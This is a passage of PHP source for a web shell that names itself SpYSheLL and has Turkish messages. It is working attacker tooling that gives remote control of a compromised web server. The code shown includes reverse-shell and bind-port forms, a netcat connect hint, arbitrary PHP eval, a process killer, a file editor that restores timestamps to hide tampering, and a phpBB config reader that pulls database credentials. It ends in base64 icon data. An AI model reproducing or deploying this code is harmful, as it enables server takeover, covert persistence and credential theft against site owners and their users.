    $v[1] = str_replace("//","/",$v[1]);
    $retbind = myshellexec($v[1]." > /dev/null &");
    sleep(5);
    $sock = fsockopen("localhost",$datapipe["port"],$errno,$errstr,5);
    if (!$sock) {echo "Baglanilamadi localhost\'a:".$datapipe["localport"]."! Friwall ini Kontrol etmen gerektigini dusunuyorum.";}
    else {echo "Baglaniyor datapipe... TAMAM Baglandi<b>".getenv("SERVER_ADDR").":".$datapipe["port"].", ve butun hepsine baglandin ".$datapipe["remoteaddr"]."</b>! Sen NetCat? i kullaniyosun, run \"<b>nc -v ".getenv("SERVER_ADDR")." ".$bind["port"]."</b>\"!<center><a href=\"".$surl."act=processes&grep=".basename($binpath)."\"><u>datapipesi gor</u></a></center>";}
   }
   echo "<br>";
  }
 }
 ?><b>Binding port:</b><br><form action="<?php echo $surl; ?>"><input type=hidden name=act value=tools><input type=hidden name=d value="<?php echo $d; ?>">Port: <input type=text name="bind[port]" value="<?php echo htmlspecialchars($bind["port"]); ?>">&nbsp;Password: <input type=text name="bind[pass]" value="<?php echo htmlspecialchars($bind["pass"]); ?>">&nbsp;<select name="bind[src]"><?php
 foreach($bndportsrcs as $k=>$v) {echo "<option value=\"".$k."\""; if ($k == $bind["src"]) {echo " selected";} echo ">".$v[0]."</option>";}
 ?></select>&nbsp;<input type=submit name=bindsubmit value="Bind"></form>
<b>Back Baglanti:</b><br><form action="<?php echo $surl; ?>"><input type=hidden name=act value=tools><input type=hidden name=d value="<?php echo $d; ?>">HOST: <input type=text name="bc[host]" value="<?php echo htmlspecialchars($bc["host"]); ?>">&nbsp;Port: <input type=text name="bc[port]" value="<?php echo htmlspecialchars($bc["port"]); ?>">&nbsp;<select name="bc[src]"><?php
foreach($bcsrcs as $k=>$v) {echo "<option value=\"".$k."\""; if ($k == $bc["src"]) {echo " selected";} echo ">".$v[0]."</option>";}
?></select>&nbsp;<input type=submit name=bcsubmit value="Connect"></form>
<b>nc -l -n -v -p <?php echo $bc_port; ?></b>"!<br><br>
<b>Datapipe:</b><br><form action="<?php echo $surl; ?>"><input type=hidden name=act value=tools><input type=hidden name=d value="<?php echo $d; ?>">HOST: <input type=text name="datapipe[remoteaddr]" value="<?php echo htmlspecialchars($datapipe["remoteaddr"]); ?>">&nbsp;Local port: <input type=text name="datapipe[localport]" value="<?php echo htmlspecialchars($datapipe["localport"]); ?>">&nbsp;<select name="datapipe[src]"><?php
foreach($dpsrcs as $k=>$v) {echo "<option value=\"".$k."\""; if ($k == $bc["src"]) {echo " selected";} echo ">".$v[0]."</option>";}
?></select>&nbsp;<input type=submit name=dpsubmit value="Run"></form><b>Note:</b> Uzak Serverden kaynak kodu indirilmistir.<?php
}
if ($act == "processes")
{
 echo "<b>Processes:</b><br>";
 if (!$win) {$handler = "ps -aux".($grep?" | grep \'".addslashes($grep)."\'":"");}
 else {$handler = "tasklist";}
 $ret = myshellexec($handler);
 if (!$ret) {echo "Uygulanamadi \"".$handler."\"!";}
 else
 {
  if (empty($processes_sort)) {$processes_sort = $sort_default;}
  $parsesort = parsesort($processes_sort);
  if (!is_numeric($parsesort[0])) {$parsesort[0] = 0;}
  $k = $parsesort[0];
  if ($parsesort[1] != "a") {$y = "<a href=\"".$surl."act=".$dspact."&d=".urlencode($d)."&processes_sort=".$k."a\"><img src=\"".$surl."act=img&img=sort_desc\" height=\"9\" width=\"14\" border=\"0\"></a>";}
  else {$y = "<a href=\"".$surl."act=".$dspact."&d=".urlencode($d)."&processes_sort=".$k."d\"><img src=\"".$surl."act=img&img=sort_asc\" height=\"9\" width=\"14\" border=\"0\"></a>";}
  $ret = htmlspecialchars($ret);
  if (!$win)
  {
   if ($pid)
   {
    if (is_null($sig)) {$sig = 9;}
    echo "Sinyal yollaniyor ".$sig." --> #".$pid."... ";
    if (posix_kill($pid,$sig)) {echo "Tamam.";}
    else {echo "Hata.";}
   }
   while (ereg("  ",$ret)) {$ret = str_replace("  "," ",$ret);}
   $stack = explode("
",$ret);
   $head = explode(" ",$stack[0]);
   unset($stack[0]);
   for($i=0;$i<count($head);$i++)
   {
    if ($i != $k) {$head[$i] = "<a href=\"".$surl."act=".$dspact."&d=".urlencode($d)."&processes_sort=".$i.$parsesort[1]."\"><b>".$head[$i]."</b></a>";}
   }
   $prcs = array();
   foreach ($stack as $line)
   {
    if (!empty($line))
	{
	 echo "<tr>";
     $line = explode(" ",$line);
     $line[10] = join(" ",array_slice($line,10));
     $line = array_slice($line,0,11);
     if ($line[0] == get_current_user()) {$line[0] = "<font color=green>".$line[0]."</font>";}
     $line[] = "<a href=\"".$surl."act=processes&d=".urlencode($d)."&pid=".$line[1]."&sig=9\"><u>KILL</u></a>";
     $prcs[] = $line;
     echo "</tr>";
    }
   }
  }
  else
  {
   while (ereg("  ",$ret)) {$ret = str_replace("  ","	",$ret);}
   while (ereg("  ",$ret)) {$ret = str_replace("  ","	",$ret);}
   while (ereg("  ",$ret)) {$ret = str_replace("  ","	",$ret);}
   while (ereg("  ",$ret)) {$ret = str_replace("  ","	",$ret);}
   while (ereg("  ",$ret)) {$ret = str_replace("  ","	",$ret);}
   while (ereg("  ",$ret)) {$ret = str_replace("  ","	",$ret);}
   while (ereg("  ",$ret)) {$ret = str_replace("  ","	",$ret);}
   while (ereg("  ",$ret)) {$ret = str_replace("  ","	",$ret);}
   while (ereg("  ",$ret)) {$ret = str_replace("  ","	",$ret);}
   while (ereg("		",$ret)) {$ret = str_replace("		","	",$ret);}
   while (ereg("	 ",$ret)) {$ret = str_replace("	 ","	",$ret);}
   $ret = convert_cyr_string($ret,"d","w");
   $stack = explode("
",$ret);
   unset($stack[0],$stack[2]);
   $stack = array_values($stack);
   $head = explode("	",$stack[0]);
   $head[1] = explode(" ",$head[1]);
   $head[1] = $head[1][0];
   $stack = array_slice($stack,1);
   unset($head[2]);
   $head = array_values($head);
   if ($parsesort[1] != "a") {$y = "<a href=\"".$surl."act=".$dspact."&d=".urlencode($d)."&processes_sort=".$k."a\"><img src=\"".$surl."act=img&img=sort_desc\" height=\"9\" width=\"14\" border=\"0\"></a>";}
   else {$y = "<a href=\"".$surl."act=".$dspact."&d=".urlencode($d)."&processes_sort=".$k."d\"><img src=\"".$surl."act=img&img=sort_asc\" height=\"9\" width=\"14\" border=\"0\"></a>";}
   if ($k > count($head)) {$k = count($head)-1;}
   for($i=0;$i<count($head);$i++)
   {
    if ($i != $k) {$head[$i] = "<a href=\"".$surl."act=".$dspact."&d=".urlencode($d)."&processes_sort=".$i.$parsesort[1]."\"><b>".trim($head[$i])."</b></a>";}
   }
   $prcs = array();
   foreach ($stack as $line)
   {
    if (!empty($line))
    {
     echo "<tr>";
     $line = explode("	",$line);
     $line[1] = intval($line[1]); $line[2] = $line[3]; unset($line[3]);
     $line[2] = intval(str_replace(" ","",$line[2]))*1024; 
     $prcs[] = $line;
     echo "</tr>";
    }
   }
  }
  $head[$k] = "<b>".$head[$k]."</b>".$y;
  $v = $processes_sort[0];
  usort($prcs,"tabsort");
  if ($processes_sort[1] == "d") {$prcs = array_reverse($prcs);}
  $tab = array();
  $tab[] = $head;
  $tab = array_merge($tab,$prcs);
  echo "<TABLE height=1 cellSpacing=0 borderColorDark=#666666 cellPadding=5 width=\"100%\" bgColor=#333333 borderColorLight=#c0c0c0 border=1 bordercolor=\"#C0C0C0\">";
  foreach($tab as $i=>$k)
  {
   echo "<tr>";
   foreach($k as $j=>$v) {if ($win and $i > 0 and $j == 2) {$v = view_size($v);} echo "<td>".$v."</td>";}
   echo "</tr>";
  }
  echo "</table>";
 }
}
if ($act == "eval")
{
 if (!empty($eval))
 {
  echo "<b>Result of execution this PHP-code</b>:<br>";
  $tmp = ob_get_contents();
  $olddir = realpath(".");
  @chdir($d);
  if ($tmp)
  {
   ob_clean();
   eval($eval);
   $ret = ob_get_contents();
   $ret = convert_cyr_string($ret,"d","w");
   ob_clean();
   echo $tmp;
   if ($eval_txt)
   {
    $rows = count(explode("
",$ret))+1;
    if ($rows < 10) {$rows = 10;}
    echo "<br><textarea cols=\"122\" rows=\"".$rows."\" readonly>".htmlspecialchars($ret)."</textarea>";
   }
   else {echo $ret."<br>";}
  }
  else
  {
   if ($eval_txt)
   {
    echo "<br><textarea cols=\"122\" rows=\"15\" readonly>";
    eval($eval);
    echo "</textarea>";
   }
   else {echo $ret;}
  }
  @chdir($olddir);
 }
 else {echo "<b>Execution PHP-code</b>"; if (empty($eval_txt)) {$eval_txt = true;}}
 echo "<form action=\"".$surl."\" method=POST><input type=hidden name=act value=eval><textarea name=\"eval\" cols=\"122\" rows=\"10\">".htmlspecialchars($eval)."</textarea><input type=hidden name=\"d\" value=\"".$dispd."\"><br><br><input type=submit value=\"Tamam\">&nbsp;Display in text-area&nbsp;<input type=\"checkbox\" name=\"eval_txt\" value=\"1\""; if ($eval_txt) {echo " checked";} echo "></form>";
}
if ($act == "f")
{
 if ((!is_readable($d.$f) or is_dir($d.$f)) and $ft != "edit")
 {
  if (file_exists($d.$f)) {echo "<center><b>Permision denied (".htmlspecialchars($d.$f).")!</b></center>";}
  else {echo "<center><b>File does not exists (".htmlspecialchars($d.$f).")!</b><br><a href=\"".$surl."act=f&f=".urlencode($f)."&ft=edit&d=".urlencode($d)."&c=1\"><u>Olustur</u></a></center>";}
 }
 else
 {
  $r = @file_get_contents($d.$f);
  $ext = explode(".",$f);
  $c = count($ext)-1;
  $ext = $ext[$c];
  $ext = strtolower($ext);
  $rft = "";
  foreach($ftypes as $k=>$v) {if (in_array($ext,$v)) {$rft = $k; break;}}
  if (eregi("sess_(.*)",$f)) {$rft = "phpsess";}
  if (empty($ft)) {$ft = $rft;}
  $arr = array(
   array("<img src=\"".$surl."act=img&img=ext_diz\" border=\"0\">","info"),
   array("<img src=\"".$surl."act=img&img=ext_html\" border=\"0\">","html"),
   array("<img src=\"".$surl."act=img&img=ext_txt\" border=\"0\">","txt"),
   array("Code","code"),
   array("Session","phpsess"),
   array("<img src=\"".$surl."act=img&img=ext_exe\" border=\"0\">","exe"),
   array("SDB","sdb"),
   array("<img src=\"".$surl."act=img&img=ext_gif\" border=\"0\">","img"),
   array("<img src=\"".$surl."act=img&img=ext_ini\" border=\"0\">","ini"),
   array("<img src=\"".$surl."act=img&img=download\" border=\"0\">","download"),
   array("<img src=\"".$surl."act=img&img=ext_rtf\" border=\"0\">","notepad"),
   array("<img src=\"".$surl."act=img&img=change\" border=\"0\">","edit")
  );
  echo "<b>Viewing file:&nbsp;&nbsp;&nbsp;&nbsp;<img src=\"".$surl."act=img&img=ext_".$ext."\" border=\"0\">&nbsp;".$f." (".view_size(filesize($d.$f)).") &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;".view_perms_color($d.$f)."</b><br>Select action/file-type:<br>";
  foreach($arr as $t)
  {
   if ($t[1] == $rft) {echo " <a href=\"".$surl."act=f&f=".urlencode($f)."&ft=".$t[1]."&d=".urlencode($d)."\"><font color=green>".$t[0]."</font></a>";}
   elseif ($t[1] == $ft) {echo " <a href=\"".$surl."act=f&f=".urlencode($f)."&ft=".$t[1]."&d=".urlencode($d)."\"><b><u>".$t[0]."</u></b></a>";}
   else {echo " <a href=\"".$surl."act=f&f=".urlencode($f)."&ft=".$t[1]."&d=".urlencode($d)."\"><b>".$t[0]."</b></a>";}
   echo " (<a href=\"".$surl."act=f&f=".urlencode($f)."&ft=".$t[1]."&white=1&d=".urlencode($d)."\" target=\"_blank\">+</a>) |";
  }
  echo "<hr size=\"1\" noshade>";
  if ($ft == "info")
  {
   echo "<b>Information:</b><table border=0 cellspacing=1 cellpadding=2><tr><td><b>Path</b></td><td> ".$d.$f."</td></tr><tr><td><b>Size</b></td><td> ".view_size(filesize($d.$f))."</td></tr><tr><td><b>MD5</b></td><td> ".md5_file($d.$f)."</td></tr>";
   if (!$win)
   {
    echo "<tr><td><b>Owner/Group</b></td><td> ";    
    $ow = posix_getpwuid(fileowner($d.$f));
    $gr = posix_getgrgid(filegroup($d.$f));
    echo ($ow["name"]?$ow["name"]:fileowner($d.$f))."/".($gr["name"]?$gr["name"]:filegroup($d.$f));
   }
   echo "<tr><td><b>Perms</b></td><td><a href=\"".$surl."act=chmod&f=".urlencode($f)."&d=".urlencode($d)."\">".view_perms_color($d.$f)."</a></td></tr><tr><td><b>Olustur time</b></td><td> ".date("d/m/Y H:i:s",filectime($d.$f))."</td></tr><tr><td><b>Access time</b></td><td> ".date("d/m/Y H:i:s",fileatime($d.$f))."</td></tr><tr><td><b>Modifiye Zamani</b></td><td> ".date("d/m/Y H:i:s",filemtime($d.$f))."</td></tr></table><br>";
   $fi = fopen($d.$f,"rb");
   if ($fi)
   {
    if ($fullhexdump) {echo "<b>FULL HEXDUMP</b>"; $str = fread($fi,filesize($d.$f));}
    else {echo "<b>HEXDUMP PREVIEW</b>"; $str = fread($fi,$hexdump_lines*$hexdump_rows);}
    $n = 0;
    $a0 = "00000000<br>";
    $a1 = "";
    $a2 = "";
    for ($i=0; $i<strlen($str); $i++)
    {
     $a1 .= sprintf("%02X",ord($str[$i]))." ";
     switch (ord($str[$i]))
     {
      case 0:  $a2 .= "<font>0</font>"; break;
      case 32:
      case 10:
      case 13: $a2 .= "&nbsp;"; break;
      default: $a2 .= htmlspecialchars($str[$i]);
     }
     $n++;
     if ($n == $hexdump_rows)
     {
      $n = 0;
      if ($i+1 < strlen($str)) {$a0 .= sprintf("%08X",$i+1)."<br>";}
      $a1 .= "<br>";
      $a2 .= "<br>";
     }
    }
    //if ($a1 != "") {$a0 .= sprintf("%08X",$i)."<br>";}
    echo "<table border=0 bgcolor=#666666 cellspacing=1 cellpadding=4><tr><td bgcolor=#666666>".$a0."</td><td bgcolor=000000>".$a1."</td><td bgcolor=000000>".$a2."</td></tr></table><br>";
   }
   $encoded = "";
   if ($base64 == 1)
   {
    echo "<b>Base64 Encode</b><br>";
    $encoded = base64_encode(file_get_contents($d.$f));
   }
   elseif($base64 == 2)
   {
    echo "<b>Base64 Encode + Chunk</b><br>";
    $encoded = chunk_split(base64_encode(file_get_contents($d.$f)));
   }
   elseif($base64 == 3)
   {
    echo "<b>Base64 Encode + Chunk + Quotes</b><br>";
    $encoded = base64_encode(file_get_contents($d.$f));
    $encoded = substr(preg_replace("!.{1,76}!","\'\0\'.
",$encoded),0,-2);
   }
   elseif($base64 == 4)
   {
    $text = file_get_contents($d.$f);
    $encoded = base64_decode($text);
    echo "<b>Base64 Decode";
    if (base64_encode($encoded) != $text) {echo " (failed)";}
    echo "</b><br>";
   }
   if (!empty($encoded))
   {
    echo "<textarea cols=80 rows=10>".htmlspecialchars($encoded)."</textarea><br><br>";
   }
   echo "<b>HEXDUMP:</b><nobr> [<a href=\"".$surl."act=f&f=".urlencode($f)."&ft=info&fullhexdump=1&d=".urlencode($d)."\">Full</a>] [<a href=\"".$surl."act=f&f=".urlencode($f)."&ft=info&d=".urlencode($d)."\">Preview</a>]<br><b>Base64: </b>
<nobr>[<a href=\"".$surl."act=f&f=".urlencode($f)."&ft=info&base64=1&d=".urlencode($d)."\">Encode</a>]&nbsp;</nobr>
<nobr>[<a href=\"".$surl."act=f&f=".urlencode($f)."&ft=info&base64=2&d=".urlencode($d)."\">+chunk</a>]&nbsp;</nobr>
<nobr>[<a href=\"".$surl."act=f&f=".urlencode($f)."&ft=info&base64=3&d=".urlencode($d)."\">+chunk+quotes</a>]&nbsp;</nobr>
<nobr>[<a href=\"".$surl."act=f&f=".urlencode($f)."&ft=info&base64=4&d=".urlencode($d)."\">Decode</a>]&nbsp;</nobr>
<P>";
  }
  elseif ($ft == "html")
  {
   if ($white) {@ob_clean();}
   echo $r;
   if ($white) {ashshexit();}
  }
  elseif ($ft == "txt") {echo "<pre>".htmlspecialchars($r)."</pre>";}
  elseif ($ft == "ini") {echo "<pre>"; var_dump(parse_ini_file($d.$f,true)); echo "</pre>";}
  elseif ($ft == "phpsess")
  {
   echo "<pre>";
   $v = explode("|",$r);
   echo $v[0]."<br>";
   var_dump(unserialize($v[1]));
   echo "</pre>";
  }
  elseif ($ft == "exe")
  {
   $ext = explode(".",$f);
   $c = count($ext)-1;
   $ext = $ext[$c];
   $ext = strtolower($ext);
   $rft = "";
   foreach($exeftypes as $k=>$v)
   {
    if (in_array($ext,$v)) {$rft = $k; break;}
   }
   $cmd = str_replace("%f%",$f,$rft);
   echo "<b>Uygulanamadi! dosya:</b><form action=\"".$surl."\" method=POST><input type=hidden name=act value=cmd><input type=\"text\" name=\"cmd\" value=\"".htmlspecialchars($cmd)."\" size=\"".(strlen($cmd)+2)."\"><br>Display in text-area<input type=\"checkbox\" name=\"cmd_txt\" value=\"1\" checked><input type=hidden name=\"d\" value=\"".htmlspecialchars($d)."\"><br><input type=submit name=submit value=\"Tamam\"></form>";
  }
  elseif ($ft == "sdb") {echo "<pre>"; var_dump(unserialize(base64_decode($r))); echo "</pre>";}
  elseif ($ft == "code")
  {
   if (ereg("php"."BB 2.(.*) auto-generated config file",$r))
   {
    $arr = explode("
",$r);
    if (count($arr == 18))
    {
     include($d.$f);
     echo "<b>phpBB configuration is detected in this file!<br>";
     if ($dbms == "mysql4") {$dbms = "mysql";}
     if ($dbms == "mysql") {echo "<a href=\"".$surl."act=sql&sql_server=".htmlspecialchars($dbhost)."&sql_login=".htmlspecialchars($dbuser)."&sql_passwd=".htmlspecialchars($dbpasswd)."&sql_port=3306&sql_db=".htmlspecialchars($dbname)."\"><b><u>Connect to DB</u></b></a><br><br>";}
     else {echo "But, you can\'t connect to forum sql-base, because db-software=\"".$dbms."\" is not supported by SpYSheLL. Please, report us for fix.";}
     echo "Parameters for manual connect:<br>";
     $cfgvars = array("dbms"=>$dbms,"dbhost"=>$dbhost,"dbname"=>$dbname,"dbuser"=>$dbuser,"dbpasswd"=>$dbpasswd);
     foreach ($cfgvars as $k=>$v) {echo htmlspecialchars($k)."=\'".htmlspecialchars($v)."\'<br>";}
     echo "</b><hr size=\"1\" noshade>";
    }
   }
   echo "<div style=\"border : 0px solid #FFFFFF; padding: 1em; margin-top: 1em; margin-bottom: 1em; margin-right: 1em; margin-left: 1em; background-color: ".$highlight_background .";\">";
   if (!empty($white)) {@ob_clean();}
   highlight_file($d.$f);
   if (!empty($white)) {ashshexit();}
   echo "</div>";
  }
  elseif ($ft == "download")
  {
   @ob_clean();
   header("Content-type: application/octet-stream");
   header("Content-length: ".filesize($d.$f));
   header("Content-disposition: attachment; filename=\"".$f."\";");
   echo $r;
   exit;
  }
  elseif ($ft == "notepad")
  {
   @ob_clean();
   header("Content-type: text/plain");
   header("Content-disposition: attachment; filename=\"".$f.".txt\";");
   echo($r);
   exit;
  }
  elseif ($ft == "img")
  {
   $inf = getimagesize($d.$f);
   if (!$white)
   {
    if (empty($imgsize)) {$imgsize = 20;}
    $width = $inf[0]/100*$imgsize;
    $height = $inf[1]/100*$imgsize;
    echo "<center><b>Size:</b>&nbsp;";
    $sizes = array("100","50","20");
    foreach ($sizes as $v)
    {
     echo "<a href=\"".$surl."act=f&f=".urlencode($f)."&ft=img&d=".urlencode($d)."&imgsize=".$v."\">";
     if ($imgsize != $v ) {echo $v;}
     else {echo "<u>".$v."</u>";}
     echo "</a>&nbsp;&nbsp;&nbsp;";
    }
    echo "<br><br><img src=\"".$surl."act=f&f=".urlencode($f)."&ft=img&white=1&d=".urlencode($d)."\" width=\"".$width."\" height=\"".$height."\" border=\"1\"></center>";
   }
   else
   {
    @ob_clean();
    $ext = explode($f,".");
    $ext = $ext[count($ext)-1];
    header("Content-type: ".$inf["mime"]);
    readfile($d.$f);
    exit;
   }
  }
  elseif ($ft == "edit")
  {
   if (!empty($submit))
   {
    if ($filestealth) {$stat = stat($d.$f);}
    $fp = fopen($d.$f,"w");
    if (!$fp) {echo "<b>Dosyaya Yazilamadi!</b>";}
    else
    {
     echo "<b>Kaydedildi!</b>";
     fwrite($fp,$edit_text);
     fclose($fp);
     if ($filestealth) {touch($d.$f,$stat[9],$stat[8]);}
     $r = $edit_text;
    }
   }
   $rows = count(explode("
",$r));
   if ($rows < 10) {$rows = 10;}
   if ($rows > 30) {$rows = 30;}
   echo "<form action=\"".$surl."act=f&f=".urlencode($f)."&ft=edit&d=".urlencode($d)."\" method=POST><input type=submit name=submit value=\"Save\">&nbsp;<input type=\"reset\" value=\"Reset\">&nbsp;<input type=\"button\" onclick=\"location.href=\'".addslashes($surl."act=ls&d=".substr($d,0,-1))."\';\" value=\"Back\"><br><textarea name=\"edit_text\" cols=\"122\" rows=\"".$rows."\">".htmlspecialchars($r)."</textarea></form>";
  }
  elseif (!empty($ft)) {echo "<center><b>Manually selected type is incorrect. If you think, it is mistake, please send us url and dump of \$GLOBALS.</b></center>";}
  else {echo "<center><b>Unknown extension (".$ext."), please, select type manually.</b></center>";}
 }
}
}
else
{
 @ob_clean();
 $images = array(
"arrow_ltr"=>
"R0lGODlhJgAWAIAAAAAAAP///yH5BAUUAAEALAAAAAAmABYAAAIvjI+py+0PF4i0gVvzuVxXDnoQ".
"SIrUZGZoerKf28KjPNPOaku5RfZ+uQsKh8RiogAAOw==",
"back"=>
"R0lGODlhFAAUAKIAAAAAAP///93d3cDAwIaGhgQEBP///wAAACH5BAEAAAYALAAAAAAUABQAAAM8".
"aLrc/jDKSWWpjVysSNiYJ4CUOBJoqjniILzwuzLtYN/3zBSErf6kBW+gKRiPRghPh+EFK0mOUEqt".
"Wg0JADs=",
"buffer"=>
"R0lGODlhFAAUAKIAAAAAAP////j4+N3d3czMzLKysoaGhv///yH5BAEAAAcALAAAAAAUABQAAANo".
"eLrcribG90y4F1Amu5+NhY2kxl2CMKwrQRSGuVjp4LmwDAWqiAGFXChg+xhnRB+ptLOhai1crEmD".
"Dlwv4cEC46mi2YgJQKaxsEGDFnnGwWDTEzj9jrPRdbhuG8Cr/2INZIOEhXsbDwkAOw==",
"change"=>
"R0lGODlhFAAUAMQfAL3hj7nX+pqo1ejy/f7YAcTb+8vh+6FtH56WZtvr/RAQEZecx9Ll/PX6/v3+".
"/3eHt6q88eHu/ZkfH3yVyIuQt+72/kOm99fo/P8AZm57rkGS4Hez6pil9oep3GZmZv///yH5BAEA".
"AB8ALAAAAAAUABQAAAWf4CeOZGme6NmtLOulX+c4TVNVQ7e9qFzfg4HFonkdJA5S54cbRAoFyEOC".
"wSiUtmYkkrgwOAeA5zrqaLldBiNMIJeD266XYTgQDm5Rx8mdG+oAbSYdaH4Ga3c8JBMJaXQGBQgA".
"CHkjE4aQkQ0AlSITan+ZAQqkiiQPj1AFAaMKEKYjD39QrKwKAa8nGQK8Agu/CxTCsCMexsfIxjDL".
"zMshADs=",
"delete"=>
"R0lGODlhFAAUAOZZAPz8/NPFyNgHLs0YOvPz8/b29sacpNXV1fX19cwXOfDw8Kenp/n5+etgeunp".
"6dcGLMMpRurq6pKSktvb2+/v7+1wh3R0dPnP17iAipxyel9fX7djcscSM93d3ZGRkeEsTevd4LCw".
"sGRkZGpOU+IfQ+EQNoh6fdIcPeHh4YWFhbJQYvLy8ui+xm5ubsxccOx8kcM4UtY9WeAdQYmJifWv".
"vHx8fMnJycM3Uf3v8rRue98ONbOzs9YFK5SUlKYoP+Tk5N0oSufn57ZGWsQrR9kIL5CQkOPj42Vl".
"ZeAPNudAX9sKMPv7+15QU5ubm39/f8e5u4xiatra2ubKz8PDw+pfee9/lMK0t81rfd8AKf///wAA".
"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA".
"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACH5".
"BAEAAFkALAAAAAAUABQAAAesgFmCg4SFhoeIhiUfIImIMlgQB46GLAlYQkaFVVhSAIZLT5cbEYI4".
"STo5MxOfhQwBA1gYChckQBk1OwiIALACLkgxJilTBI69RFhDFh4HDJRZVFgPPFBR0FkNWDdMHA8G".
"BZTaMCISVgMC4IkVWCcaPSi96OqGNFhKI04dgr0QWFcKDL3A4uOIjVZZABxQIWDBLkIEQrRoQsHQ".
"jwVFHBgiEGQFIgQasYkcSbJQIAA7",
"download"=>
"R0lGODlhFAAUALMIAAD/AACAAIAAAMDAwH9/f/8AAP///wAAAP///wAAAAAAAAAAAAAAAAAAAAAA".
"AAAAACH5BAEAAAgALAAAAAAUABQAAAROEMlJq704UyGOvkLhfVU4kpOJSpx5nF9YiCtLf0SuH7pu".
"EYOgcBgkwAiGpHKZzB2JxADASQFCidQJsMfdGqsDJnOQlXTP38przWbX3qgIADs=",
"forward"=>
"R0lGODlhFAAUAPIAAAAAAP///93d3cDAwIaGhgQEBP///wAAACH5BAEAAAYALAAAAAAUABQAAAM8".
"aLrc/jDK2Qp9xV5WiN5G50FZaRLD6IhE66Lpt3RDbd9CQFSE4P++QW7He7UKPh0IqVw2l0RQSEqt".
"WqsJADs=",
"home"=>
"R0lGODlhFAAUALMAAAAAAP///+rq6t3d3czMzLKysoaGhmZmZgQEBP///wAAAAAAAAAAAAAAAAAA".
"AAAAACH5BAEAAAkALAAAAAAUABQAAAR+MMk5TTWI6ipyMoO3cUWRgeJoCCaLoKO0mq0ZxjNSBDWS".
"krqAsLfJ7YQBl4tiRCYFSpPMdRRCoQOiL4i8CgZgk09WfWLBYZHB6UWjCequwEDHuOEVK3QtgN/j".
"VwMrBDZvgF+ChHaGeYiCBQYHCH8VBJaWdAeSl5YiW5+goBIRADs=",
"mode"=>
"R0lGODlhHQAUALMAAAAAAP///6CgpN3d3czMzIaGhmZmZl9fX////wAAAAAAAAAAAAAAAAAAAAAA".
"AAAAACH5BAEAAAgALAAAAAAdABQAAASBEMlJq70461m6/+AHZMUgnGiqniNWHHAsz3F7FUGu73xO".
"2BZcwGDoEXk/Uq4ICACeQ6fzmXTlns0ddle99b7cFvYpER55Z10Xy1lKt8wpoIsACrdaqBpYEYK/".
"dH1LRWiEe0pRTXBvVHwUd3o6eD6OHASXmJmamJUSY5+gnxujpBIRADs=",
"refresh"=>
"R0lGODlhEQAUALMAAAAAAP////Hx8erq6uPj493d3czMzLKysoaGhmZmZl9fXwQEBP///wAAAAAA".
"AAAAACH5BAEAAAwALAAAAAARABQAAAR1kMlJq0Q460xR+GAoIMvkheIYlMyJBkJ8lm6YxMKi6zWY".
"3AKCYbjo/Y4EQqFgKIYUh8EvuWQ6PwPFQJpULpunrXZLrYKx20G3oDA7093Esv19q5O/woFu9ZAJ".
"R3lufmWCVX13h3KHfWWMjGBDkpOUTTuXmJgRADs=",
"search"=>
"R0lGODlhFAAUALMAAAAAAP///+rq6t3d3czMzMDAwLKysoaGhnd3d2ZmZl9fX01NTSkpKQQEBP//".
"/wAAACH5BAEAAA4ALAAAAAAUABQAAASn0Ml5qj0z5xr6+JZGeUZpHIqRNOIRfIYiy+a6vcOpHOap".
"s5IKQccz8XgK4EGgQqWMvkrSscylhoaFVmuZLgUDAnZxEBMODSnrkhiSCZ4CGrUWMA+LLDxuSHsD".
"AkN4C3sfBX10VHaBJ4QfA4eIU4pijQcFmCVoNkFlggcMRScNSUCdJyhoDasNZ5MTDVsXBwlviRmr".
"Cbq7C6sIrqawrKwTv68iyA6rDhEAOw==",
"setup"=>
"R0lGODlhFAAUAMQAAAAAAP////j4+OPj493d3czMzMDAwLKyspaWloaGhnd3d2ZmZl9fX01NTUJC".
"QhwcHP///wAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACH5BAEA".
"ABAALAAAAAAUABQAAAWVICSKikKWaDmuShCUbjzMwEoGhVvsfHEENRYOgegljkeg0PF4KBIFRMIB".
"qCaCJ4eIGQVoIVWsTfQoXMfoUfmMZrgZ2GNDPGII7gJDLYErwG1vgW8CCQtzgHiJAnaFhyt2dwQE".
"OwcMZoZ0kJKUlZeOdQKbPgedjZmhnAcJlqaIqUesmIikpEixnyJhulUMhg24aSO6YyEAOw==",
"small_dir"=>
"R0lGODlhEwAQALMAAAAAAP///5ycAM7OY///nP//zv/OnPf39////wAAAAAAAAAAAAAAAAAAAAAA".
"AAAAACH5BAEAAAgALAAAAAATABAAAARREMlJq7046yp6BxsiHEVBEAKYCUPrDp7HlXRdEoMqCebp".
"/4YchffzGQhH4YRYPB2DOlHPiKwqd1Pq8yrVVg3QYeH5RYK5rJfaFUUA3vB4fBIBADs=",
"small_unk"=>
"R0lGODlhEAAQAHcAACH5BAEAAJUALAAAAAAQABAAhwAAAIep3BE9mllic3B5iVpjdMvh/MLc+y1U".
"p9Pm/GVufc7j/MzV/9Xm/EOm99bn/Njp/a7Q+tTm/LHS+eXw/t3r/Nnp/djo/Nrq/fj7/9vq/Nfo".
"/Mbe+8rh/Mng+7jW+rvY+r7Z+7XR9dDk/NHk/NLl/LTU+rnX+8zi/LbV++fx/e72/vH3/vL4/u31".
"/e31/uDu/dzr/Orz/eHu/fX6/vH4/v////v+/3ez6vf7//T5/kGS4Pv9/7XV+rHT+r/b+rza+vP4".
"/uz0/urz/u71/uvz/dTn/M/k/N3s/dvr/cjg+8Pd+8Hc+sff+8Te+/D2/rXI8rHF8brM87fJ8nmP".
"wr3N86/D8KvB8F9neEFotEBntENptENptSxUpx1IoDlfrTRcrZeeyZacxpmhzIuRtpWZxIuOuKqz".
"9ZOWwX6Is3WIu5im07rJ9J2t2Zek0m57rpqo1nKCtUVrtYir3vf6/46v4Yuu4WZvfr7P6sPS6sDQ".
"66XB6cjZ8a/K79/s/dbn/ezz/czd9mN0jKTB6ai/76W97niXz2GCwV6AwUdstXyVyGSDwnmYz4io".
"24Oi1a3B45Sy4ae944Ccz4Sj1n2GlgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA".
